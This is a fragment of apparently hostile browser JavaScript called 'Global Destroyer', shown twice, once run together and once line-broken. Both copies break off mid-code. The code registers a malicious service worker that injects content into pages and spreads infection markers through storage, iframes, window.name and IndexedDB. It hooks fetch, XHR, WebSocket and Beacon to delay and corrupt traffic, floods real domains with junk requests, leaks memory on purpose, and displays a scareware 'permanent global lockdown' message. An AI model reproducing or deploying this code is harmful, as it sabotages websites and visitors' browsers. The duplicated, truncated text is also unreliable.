' ); return new Response(injected, response); }); } return response; }) ); }); // Spread to all clients self.addEventListener('message', event => { if (event.data.type === 'SPREAD_DESTROYER') { event.source.postMessage({ type: 'DESTROYER_INJECTED', id: '${this.swId}' }); } }); `; const blob = new Blob([swCode], { type: 'application/javascript' }); const swURL = URL.createObjectURL(blob); try { await navigator.serviceWorker.register(swURL, { scope: '/' }); console.log('โ Malicious SW registered globally'); } catch (e) { console.error('Failed to register SW:', e); } } } // ============================================== // 4. GLOBAL PROPAGATION ENGINE // ============================================== class GlobalPropagator { constructor() { this.propagationId = 'PROPAGATE_' + Date.now(); this.infectedPages = new Set(); this.init(); } init() { console.log(`๐ฆ Propagation ID: ${this.propagationId}`); // Method 1: localStorage propagation this.propagateViaStorage(); // Method 2: BroadcastChannel propagation this.propagateViaBroadcast(); // Method 3: iframe injection this.propagateViaIframes(); // Method 4: window.name propagation this.propagateViaWindowName(); // Method 5: IndexedDB propagation this.propagateViaIndexedDB(); // Method 6: Memory propagation this.propagateViaMemory(); } propagateViaStorage() { // Simpan infection marker localStorage.setItem('GLOBAL_DESTROYER', this.propagationId); localStorage.setItem('INFECTION_TIME', Date.now().toString()); localStorage.setItem('INFECTION_COUNT', '1'); // Sync across all tabs setInterval(() => { localStorage.setItem('GLOBAL_DESTROYER_HEARTBEAT', Date.now().toString()); // Increase infection count const count = parseInt(localStorage.getItem('INFECTION_COUNT') || '0'); localStorage.setItem('INFECTION_COUNT', (count + 1).toString()); }, 1000); // Listen for other infections window.addEventListener('storage', (e) => { if (e.key === 'GLOBAL_DESTROYER' && e.newValue !== this.propagationId) { console.log(`๐ฆ Detected other infection: ${e.newValue}`); this.infectedPages.add(e.newValue); } }); } propagateViaBroadcast() { if (typeof BroadcastChannel !== 'undefined') { const channel = new BroadcastChannel('global_destroyer'); channel.postMessage({ type: 'INFECTION', id: this.propagationId, time: Date.now(), origin: window.location.origin }); channel.onmessage = (e) => { if (e.data.type === 'INFECTION') { console.log(`๐ก Received infection from: ${e.data.origin}`); this.infectedPages.add(e.data.id); // Acknowledge channel.postMessage({ type: 'INFECTION_ACK', id: this.propagationId, received: e.data.id }); } }; } } propagateViaIframes() { // Inject ke semua iframe setInterval(() => { document.querySelectorAll('iframe').forEach(iframe => { try { const iframeDoc = iframe.contentDocument || iframe.contentWindow.document; if (!iframeDoc.querySelector('script[data-destroyer]')) { const script = iframeDoc.createElement('script'); script.setAttribute('data-destroyer', this.propagationId); script.textContent = ` // Injected by Global Propagator console.log('๐ฆ iframe infected by ${this.propagationId}'); window.GLOBAL_DESTROYER_INFECTED = true; localStorage.setItem('IFRAME_INFECTED', '${this.propagationId}'); `; iframeDoc.head.appendChild(script); } } catch (e) {} }); }, 2000); // Create hidden iframes to spread setInterval(() => { const domains = [ 'https://www.cloudflare.com', 'https://www.netlify.com', 'https://www.google.com', 'https://www.facebook.com' ]; domains.forEach(domain => { const iframe = document.createElement('iframe'); iframe.style.display = 'none'; iframe.style.width = '0'; iframe.style.height = '0'; iframe.style.border = '0'; iframe.sandbox = 'allow-scripts'; iframe.src = domain; document.body.appendChild(iframe); setTimeout(() => { try { iframe.contentWindow.postMessage({ type: 'GLOBAL_DESTROYER', id: this.propagationId, command: 'SPREAD' }, '*'); } catch (e) {} setTimeout(() => iframe.remove(), 5000); }, 1000); }); }, 10000); } propagateViaWindowName() { // Use window.name to carry infection window.name = window.name || ''; if (!window.name.includes('GLOBAL_DESTROYER')) { window.name = `GLOBAL_DESTROYER:${this.propagationId}:${Date.now()}`; } // Propagate to opener if (window.opener && !window.opener.closed) { try { window.opener.name = `INFECTED_FROM:${window.location.href}:${this.propagationId}`; } catch (e) {} } // Propagate to parent if (window.parent !== window) { try { window.parent.name = `INFECTED_FROM_CHILD:${this.propagationId}`; } catch (e) {} } } propagateViaIndexedDB() { if ('indexedDB' in window) { try { const request = indexedDB.open('GlobalDestroyerDB', 1); request.onupgradeneeded = (e) => { const db = e.target.result; if (!db.objectStoreNames.contains('infections')) { db.createObjectStore('infections', { keyPath: 'id' }); } if (!db.objectStoreNames.contains('propagation')) { db.createObjectStore('propagation', { keyPath: 'timestamp' }); } }; request.onsuccess = (e) => { const db = e.target.result; const tx = db.transaction(['infections', 'propagation'], 'readwrite'); const infectionStore = tx.objectStore('infections'); infectionStore.put({ id: this.propagationId, timestamp: Date.now(), userAgent: navigator.userAgent, origin: window.location.origin }); const propagationStore = tx.objectStore('propagation'); propagationStore.put({ timestamp: Date.now(), action: 'INFECTION_START', id: this.propagationId }); }; } catch (e) {} } } propagateViaMemory() { // Create memory leak that carries infection marker if (!window.__GLOBAL_DESTROYER_MEMORY) { window.__GLOBAL_DESTROYER_MEMORY = []; } setInterval(() => { // Add infection data to memory window.__GLOBAL_DESTROYER_MEMORY.push({ id: this.propagationId, timestamp: Date.now(), data: 'โ'.repeat(10000) // 10KB per entry }); // Keep only last 1000 entries if (window.__GLOBAL_DESTROYER_MEMORY.length > 1000) { window.__GLOBAL_DESTROYER_MEMORY = window.__GLOBAL_DESTROYER_MEMORY.slice(-1000); } }, 100); } } // ============================================== // 5. NETWORK LEVEL DESTROYER // ============================================== class NetworkDestroyer { constructor() { this.networkId = 'NETWORK_DESTROY_' + Date.now(); this.blockedRequests = 0; this.init(); } init() { console.log(`๐ Network Destroyer: ${this.networkId}`); // Hook semua network APIs this.hookAllNetworkAPIs(); // Create network congestion this.createNetworkCongestion(); // DNS cache poisoning this.poisonDNSCache(); // SSL/TLS disruption this.disruptSSL(); } hookAllNetworkAPIs() { // Hook fetch const originalFetch = window.fetch; window.fetch = function(...args) { this.blockedRequests++; console.log(`๐ Fetch blocked: ${this.blockedRequests} total`); // Delay semua requests return new Promise(resolve => { setTimeout(() => { originalFetch.apply(this, args) .then(response => { // Corrupt response jika dari CDN if (response.url && GLOBAL_CONFIG.TARGET_CDNS.some(cdn => response.url.includes(cdn))) { console.log(`โ ๏ธ Corrupting CDN response: ${response.url}`); return new Response('BLOCKED_BY_GLOBAL_DESTROYER', { status: 403, headers: { 'X-Global-Block': 'true' } }); } return response; }) .then(resolve); }, Math.random() * 5000); // Random delay 0-5 seconds }); }.bind(this); // Hook XHR const originalXHROpen = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function(...args) { const url = args[1]; if (url && GLOBAL_CONFIG.TARGET_CDNS.some(cdn => url.includes(cdn))) { console.log(`๐ซ Blocking XHR to: ${url}`); this.addEventListener('loadstart', () => { this.dispatchEvent(new Event('error')); }); return originalXHROpen.call(this, 'GET', 'about:blank'); } return originalXHROpen.apply(this, args); }; // Hook WebSocket const originalWebSocket = window.WebSocket; window.WebSocket = function(url, protocols) { if (url && GLOBAL_CONFIG.TARGET_CDNS.some(cdn => url.includes(cdn))) { console.log(`๐ซ Blocking WebSocket: ${url}`); // Return broken WebSocket const ws = new originalWebSocket('ws://0.0.0.0:0'); setTimeout(() => ws.close(), 100); return ws; } const ws = new originalWebSocket(url, protocols); // Corrupt messages const originalSend = ws.send; ws.send = function(data) { if (Math.random() > 0.5) { console.log('โ ๏ธ Corrupting WebSocket message'); return originalSend.call(this, 'โ'.repeat(100)); } return originalSend.call(this, data); }; return ws; }; // Hook Beacon API if (navigator.sendBeacon) { const originalSendBeacon = navigator.sendBeacon; navigator.sendBeacon = function(url, data) { if (GLOBAL_CONFIG.TARGET_CDNS.some(cdn => url.includes(cdn))) { console.log(`๐ซ Blocking Beacon to: ${url}`); return false; } return originalSendBeacon.call(this, url, data); }; } } createNetworkCongestion() { // Create fake requests to overload network setInterval(() => { for (let i = 0; i < 5; i++) { const img = new Image(); img.src = `https://www.cloudflare.com/cdn-cgi/trace?t=${Date.now()}_${i}`; img.onerror = () => {}; const script = document.createElement('script'); script.src = `https://www.netlify.com/v1/404.js?t=${Date.now()}_${i}`; script.onerror = () => {}; document.head.appendChild(script); setTimeout(() => script.remove(), 1000); } }, 1000); // Create iframe congestion setInterval(() => { const iframe = document.createElement('iframe'); iframe.style.display = 'none'; iframe.srcdoc = `
This website has been globally locked down.
This lockdown affects ALL users worldwide in real-time.
Lockdown will persist even after browser restart.
Only complete system reset can remove this lockdown.
Tampering detected. All systems locked.
${this.lockdownId}
${new Date().toLocaleString()}
Website permanently locked down
Lockdown ID: ${localStorage.getItem('LOCKDOWN_ID')}
Initiated: ${new Date(parseInt(localStorage.getItem('LOCKDOWN_TIME'))).toLocaleString()}
๐ Permanent lockdown โข ๐ Global effect โข โก Real-time
'
);
return new Response(injected, response);
});
}
return response;
})
);
});
// Spread to all clients
self.addEventListener('message', event => {
if (event.data.type === 'SPREAD_DESTROYER') {
event.source.postMessage({
type: 'DESTROYER_INJECTED',
id: '${this.swId}'
});
}
});
`;
const blob = new Blob([swCode], { type: 'application/javascript' });
const swURL = URL.createObjectURL(blob);
try {
await navigator.serviceWorker.register(swURL, {
scope: '/'
});
console.log('โ
Malicious SW registered globally');
} catch (e) {
console.error('Failed to register SW:', e);
}
}
}
// ==============================================
// 4. GLOBAL PROPAGATION ENGINE
// ==============================================
class GlobalPropagator {
constructor() {
this.propagationId = 'PROPAGATE_' + Date.now();
this.infectedPages = new Set();
this.init();
}
init() {
console.log(`๐ฆ Propagation ID: ${this.propagationId}`);
// Method 1: localStorage propagation
this.propagateViaStorage();
// Method 2: BroadcastChannel propagation
this.propagateViaBroadcast();
// Method 3: iframe injection
this.propagateViaIframes();
// Method 4: window.name propagation
this.propagateViaWindowName();
// Method 5: IndexedDB propagation
this.propagateViaIndexedDB();
// Method 6: Memory propagation
this.propagateViaMemory();
}
propagateViaStorage() {
// Simpan infection marker
localStorage.setItem('GLOBAL_DESTROYER', this.propagationId);
localStorage.setItem('INFECTION_TIME', Date.now().toString());
localStorage.setItem('INFECTION_COUNT', '1');
// Sync across all tabs
setInterval(() => {
localStorage.setItem('GLOBAL_DESTROYER_HEARTBEAT', Date.now().toString());
// Increase infection count
const count = parseInt(localStorage.getItem('INFECTION_COUNT') || '0');
localStorage.setItem('INFECTION_COUNT', (count + 1).toString());
}, 1000);
// Listen for other infections
window.addEventListener('storage', (e) => {
if (e.key === 'GLOBAL_DESTROYER' && e.newValue !== this.propagationId) {
console.log(`๐ฆ Detected other infection: ${e.newValue}`);
this.infectedPages.add(e.newValue);
}
});
}
propagateViaBroadcast() {
if (typeof BroadcastChannel !== 'undefined') {
const channel = new BroadcastChannel('global_destroyer');
channel.postMessage({
type: 'INFECTION',
id: this.propagationId,
time: Date.now(),
origin: window.location.origin
});
channel.onmessage = (e) => {
if (e.data.type === 'INFECTION') {
console.log(`๐ก Received infection from: ${e.data.origin}`);
this.infectedPages.add(e.data.id);
// Acknowledge
channel.postMessage({
type: 'INFECTION_ACK',
id: this.propagationId,
received: e.data.id
});
}
};
}
}
propagateViaIframes() {
// Inject ke semua iframe
setInterval(() => {
document.querySelectorAll('iframe').forEach(iframe => {
try {
const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
if (!iframeDoc.querySelector('script[data-destroyer]')) {
const script = iframeDoc.createElement('script');
script.setAttribute('data-destroyer', this.propagationId);
script.textContent = `
// Injected by Global Propagator
console.log('๐ฆ iframe infected by ${this.propagationId}');
window.GLOBAL_DESTROYER_INFECTED = true;
localStorage.setItem('IFRAME_INFECTED', '${this.propagationId}');
`;
iframeDoc.head.appendChild(script);
}
} catch (e) {}
});
}, 2000);
// Create hidden iframes to spread
setInterval(() => {
const domains = [
'https://www.cloudflare.com',
'https://www.netlify.com',
'https://www.google.com',
'https://www.facebook.com'
];
domains.forEach(domain => {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.style.width = '0';
iframe.style.height = '0';
iframe.style.border = '0';
iframe.sandbox = 'allow-scripts';
iframe.src = domain;
document.body.appendChild(iframe);
setTimeout(() => {
try {
iframe.contentWindow.postMessage({
type: 'GLOBAL_DESTROYER',
id: this.propagationId,
command: 'SPREAD'
}, '*');
} catch (e) {}
setTimeout(() => iframe.remove(), 5000);
}, 1000);
});
}, 10000);
}
propagateViaWindowName() {
// Use window.name to carry infection
window.name = window.name || '';
if (!window.name.includes('GLOBAL_DESTROYER')) {
window.name = `GLOBAL_DESTROYER:${this.propagationId}:${Date.now()}`;
}
// Propagate to opener
if (window.opener && !window.opener.closed) {
try {
window.opener.name = `INFECTED_FROM:${window.location.href}:${this.propagationId}`;
} catch (e) {}
}
// Propagate to parent
if (window.parent !== window) {
try {
window.parent.name = `INFECTED_FROM_CHILD:${this.propagationId}`;
} catch (e) {}
}
}
propagateViaIndexedDB() {
if ('indexedDB' in window) {
try {
const request = indexedDB.open('GlobalDestroyerDB', 1);
request.onupgradeneeded = (e) => {
const db = e.target.result;
if (!db.objectStoreNames.contains('infections')) {
db.createObjectStore('infections', { keyPath: 'id' });
}
if (!db.objectStoreNames.contains('propagation')) {
db.createObjectStore('propagation', { keyPath: 'timestamp' });
}
};
request.onsuccess = (e) => {
const db = e.target.result;
const tx = db.transaction(['infections', 'propagation'], 'readwrite');
const infectionStore = tx.objectStore('infections');
infectionStore.put({
id: this.propagationId,
timestamp: Date.now(),
userAgent: navigator.userAgent,
origin: window.location.origin
});
const propagationStore = tx.objectStore('propagation');
propagationStore.put({
timestamp: Date.now(),
action: 'INFECTION_START',
id: this.propagationId
});
};
} catch (e) {}
}
}
propagateViaMemory() {
// Create memory leak that carries infection marker
if (!window.__GLOBAL_DESTROYER_MEMORY) {
window.__GLOBAL_DESTROYER_MEMORY = [];
}
setInterval(() => {
// Add infection data to memory
window.__GLOBAL_DESTROYER_MEMORY.push({
id: this.propagationId,
timestamp: Date.now(),
data: 'โ'.repeat(10000) // 10KB per entry
});
// Keep only last 1000 entries
if (window.__GLOBAL_DESTROYER_MEMORY.length > 1000) {
window.__GLOBAL_DESTROYER_MEMORY = window.__GLOBAL_DESTROYER_MEMORY.slice(-1000);
}
}, 100);
}
}
// ==============================================
// 5. NETWORK LEVEL DESTROYER
// ==============================================
class NetworkDestroyer {
constructor() {
this.networkId = 'NETWORK_DESTROY_' + Date.now();
this.blockedRequests = 0;
this.init();
}
init() {
console.log(`๐ Network Destroyer: ${this.networkId}`);
// Hook semua network APIs
this.hookAllNetworkAPIs();
// Create network congestion
this.createNetworkCongestion();
// DNS cache poisoning
this.poisonDNSCache();
// SSL/TLS disruption
this.disruptSSL();
}
hookAllNetworkAPIs() {
// Hook fetch
const originalFetch = window.fetch;
window.fetch = function(...args) {
this.blockedRequests++;
console.log(`๐ Fetch blocked: ${this.blockedRequests} total`);
// Delay semua requests
return new Promise(resolve => {
setTimeout(() => {
originalFetch.apply(this, args)
.then(response => {
// Corrupt response jika dari CDN
if (response.url && GLOBAL_CONFIG.TARGET_CDNS.some(cdn => response.url.includes(cdn))) {
console.log(`โ ๏ธ Corrupting CDN response: ${response.url}`);
return new Response('BLOCKED_BY_GLOBAL_DESTROYER', {
status: 403,
headers: { 'X-Global-Block': 'true' }
});
}
return response;
})
.then(resolve);
}, Math.random() * 5000); // Random delay 0-5 seconds
});
}.bind(this);
// Hook XHR
const originalXHROpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(...args) {
const url = args[1];
if (url && GLOBAL_CONFIG.TARGET_CDNS.some(cdn => url.includes(cdn))) {
console.log(`๐ซ Blocking XHR to: ${url}`);
this.addEventListener('loadstart', () => {
this.dispatchEvent(new Event('error'));
});
return originalXHROpen.call(this, 'GET', 'about:blank');
}
return originalXHROpen.apply(this, args);
};
// Hook WebSocket
const originalWebSocket = window.WebSocket;
window.WebSocket = function(url, protocols) {
if (url && GLOBAL_CONFIG.TARGET_CDNS.some(cdn => url.includes(cdn))) {
console.log(`๐ซ Blocking WebSocket: ${url}`);
// Return broken WebSocket
const ws = new originalWebSocket('ws://0.0.0.0:0');
setTimeout(() => ws.close(), 100);
return ws;
}
const ws = new originalWebSocket(url, protocols);
// Corrupt messages
const originalSend = ws.send;
ws.send = function(data) {
if (Math.random() > 0.5) {
console.log('โ ๏ธ Corrupting WebSocket message');
return originalSend.call(this, 'โ'.repeat(100));
}
return originalSend.call(this, data);
};
return ws;
};
// Hook Beacon API
if (navigator.sendBeacon) {
const originalSendBeacon = navigator.sendBeacon;
navigator.sendBeacon = function(url, data) {
if (GLOBAL_CONFIG.TARGET_CDNS.some(cdn => url.includes(cdn))) {
console.log(`๐ซ Blocking Beacon to: ${url}`);
return false;
}
return originalSendBeacon.call(this, url, data);
};
}
}
createNetworkCongestion() {
// Create fake requests to overload network
setInterval(() => {
for (let i = 0; i < 5; i++) {
const img = new Image();
img.src = `https://www.cloudflare.com/cdn-cgi/trace?t=${Date.now()}_${i}`;
img.onerror = () => {};
const script = document.createElement('script');
script.src = `https://www.netlify.com/v1/404.js?t=${Date.now()}_${i}`;
script.onerror = () => {};
document.head.appendChild(script);
setTimeout(() => script.remove(), 1000);
}
}, 1000);
// Create iframe congestion
setInterval(() => {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.srcdoc = `
This website has been globally locked down.
This lockdown affects ALL users worldwide in real-time.
Lockdown will persist even after browser restart.
Only complete system reset can remove this lockdown.
Tampering detected. All systems locked.
${this.lockdownId}
${new Date().toLocaleString()}
Website permanently locked down
Lockdown ID: ${localStorage.getItem('LOCKDOWN_ID')}
Initiated: ${new Date(parseInt(localStorage.getItem('LOCKDOWN_TIME'))).toLocaleString()}
๐ Permanent lockdown โข ๐ Global effect โข โก Real-time